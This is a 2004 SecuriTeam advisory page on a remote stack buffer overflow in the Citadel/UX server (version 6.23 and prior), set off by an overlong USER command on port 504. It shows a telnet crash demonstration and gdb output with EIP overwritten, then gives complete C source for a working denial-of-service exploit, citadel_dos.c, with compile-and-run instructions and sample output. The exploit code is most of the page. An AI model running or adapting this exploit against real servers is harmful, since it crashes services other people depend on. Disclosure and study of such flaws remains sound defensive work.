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Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	Citadel/UX Remote Buffer Overflow Vulnerability 1 Aug. 2004    Summary Citadel/UX is an advanced client/server messaging and collaboration system for BBS and groupware applications. Users can connect to Citadel/UX using any telnet, WWW, or client software. Among the features supported are public and private message bases (rooms), electronic mail, real-time chat, paging, etc. The server is multithreaded and can easily support a large number of concurrent users. In addition, SMTP, IMAP, and POP3 servers are built-in for easy connection to Internet mail. Citadel/UX is both robust and mature, having been developed over the course of the past thirteen years. The Citadel collaberation server is vulnerable to a classic stack overflow when receiving a long USER command.   Credit: The information has been provided by CoKi. Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Vulnerable Systems:  * Citadel/UX version 6.23 and prior When sending a USER command to the Citadel/UX server on port (504) which is longer than 97 bytes, the application crashes and the EIP is overwritten. Example: coki@servidor:~$ telnet localhost 504 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. 200 servidor Citadel/UX server ready. USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA Connection closed by foreign host. coki@servidor:~$ Using gdb to debug the process can show what is happening: root@servidor:~# ps -ax | grep "citserver -d" 20147 pts/2 S 0:00 /usr/local/citadel/citserver -d root@servidor:~# gdb citserver 20147 GNU gdb 5.3 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-slackware-linux"...citserver: No such file or directory. Attaching to process 20147 Reading symbols from /usr/local/citadel/citserver...done. Reading symbols from /lib/libpthread.so.0...done. Loaded symbols for /lib/libpthread.so.0 Reading symbols from /lib/libncurses.so.5...done. Loaded symbols for /lib/libncurses.so.5 Reading symbols from /lib/librt.so.1...done. Loaded symbols for /lib/librt.so.1 Reading symbols from /usr/lib/libz.so.1...done. Loaded symbols for /usr/lib/libz.so.1 Reading symbols from /lib/libresolv.so.2...done. Loaded symbols for /lib/libresolv.so.2 Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 Reading symbols from /lib/libnss_compat.so.2...done. Loaded symbols for /lib/libnss_compat.so.2 Reading symbols from /lib/libnsl.so.1...done. Loaded symbols for /lib/libnsl.so.1 0x401072e1 in sigpending () from /lib/libc.so.6 (gdb) c Continuing. Program received signal SIG32, Real-time event 32. 0x401072e1 in sigpending () from /lib/libc.so.6 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x61616161 in ?? () (gdb) i r esp ebp eip esp 0xbfffc890 0xbfffc890 ebp 0x61616161 0x61616161 eip 0x61616161 0x61616161 (gdb) q The program is running. Quit anyway (and detach it)? (y or n) y Detaching from program: /usr/local/citadel/citserver, process 20147 root@servidor:~# The server does a tolower() (converts an uppercase letter to the corresponding lowercase letter) on the buffer before the overflow occurs, thus limiting the number of instructions we can use. Provided below is an exploit code for this vulnerability: --------------------------------- Begin Code: citadel_dos.c --------------------------------- /* citadel_dos.c  *  * Citadel/UX Remote DoS exploit (Proof of Concept)  *  * Tested in Slackware 9.0.0 / 9.1.0 / 10.0.0  *  * by CoKi <coki@nosystem.com.ar>  * No System Group - http://www.nosystem.com.ar  */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <getopt.h> #include <netdb.h> #include <sys/types.h> #include <sys/fcntl.h> #include <netinet/in.h> #include <sys/socket.h> #define BUFFERSIZE 96+1 #define ERROR -1 #define TIMEOUT 3 #define PORT 504 int connect_timeout(int sfd, struct sockaddr *serv_addr,   socklen_t addrlen, int timeout); void use(char *program); int main(int argc, char *argv[]) {         char buffer[BUFFERSIZE], *p, temp[BUFFERSIZE];         int sockfd;         struct hostent *he;         struct sockaddr_in dest_dir;         if(argc != 2) use(argv[0]);         p = buffer;         printf("\n Citadel/UX Remote DoS exploit (Proof of Concept)\n");         printf(" by CoKi <coki@nosystem.com.ar>\n\n");            memset(p, 'A', 96);         p += 92;         *p = '\0';         printf(" [+] verifying host:\t");         fflush(stdout);                  if((he=gethostbyname(argv[1])) == NULL) {                 herror("Error");                 printf("\n");                 exit(1);         }                  printf("OK\n");         if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {                 perror("Error");                 printf("\n");                 exit(1);         }         dest_dir.sin_family = AF_INET;         dest_dir.sin_port = htons(PORT);         dest_dir.sin_addr = *((struct in_addr *)he->h_addr);         bzero(&(dest_dir.sin_zero), 8);         printf(" [+] conecting...\t");         fflush(stdout);                  if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,                 sizeof(struct sockaddr), TIMEOUT) == ERROR) {                                  printf("Closed\n\n");                 exit(1);         }         printf("OK\n");                  printf(" [+] sending exploit...\t");         fflush(stdout);                  recv(sockfd, temp, sizeof(temp), 0);         send(sockfd, "USER ", 5, 0);         send(sockfd, buffer, strlen(buffer), 0);         send(sockfd, "\n", 1, 0);         close(sockfd);                  printf("OK\n\n"); } int connect_timeout(int sfd, struct sockaddr *serv_addr,   socklen_t addrlen, int timeout) {   int res, slen, flags;   struct timeval tv;   struct sockaddr_in addr;   fd_set rdf, wrf;   fcntl(sfd, F_SETFL, O_NONBLOCK);   res = connect(sfd, serv_addr, addrlen);   if (res >= 0) return res;   FD_ZERO(&rdf);   FD_ZERO(&wrf);   FD_SET(sfd, &rdf);   FD_SET(sfd, &wrf);   bzero(&tv, sizeof(tv));   tv.tv_sec = timeout;   if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)     return -1;   if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {     slen = sizeof(addr);     if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)     return -1;     flags = fcntl(sfd, F_GETFL, NULL);     fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);     return 0;   }   return -1; } void use(char *program) {         printf("Use: %s <host>\n", program);         exit(1); } ---------------------------------- End Code: citadel_dos.c ---------------------------------- Compiling and running in the following manner: coki@servidor:~$ make citadel_dos coki@servidor:~$ ./citadel_dos localhost Citadel/UX Remote DoS exploit (Proof of Concept) by CoKi [+] verifying host: OK [+] conecting... OK [+] sending exploit... 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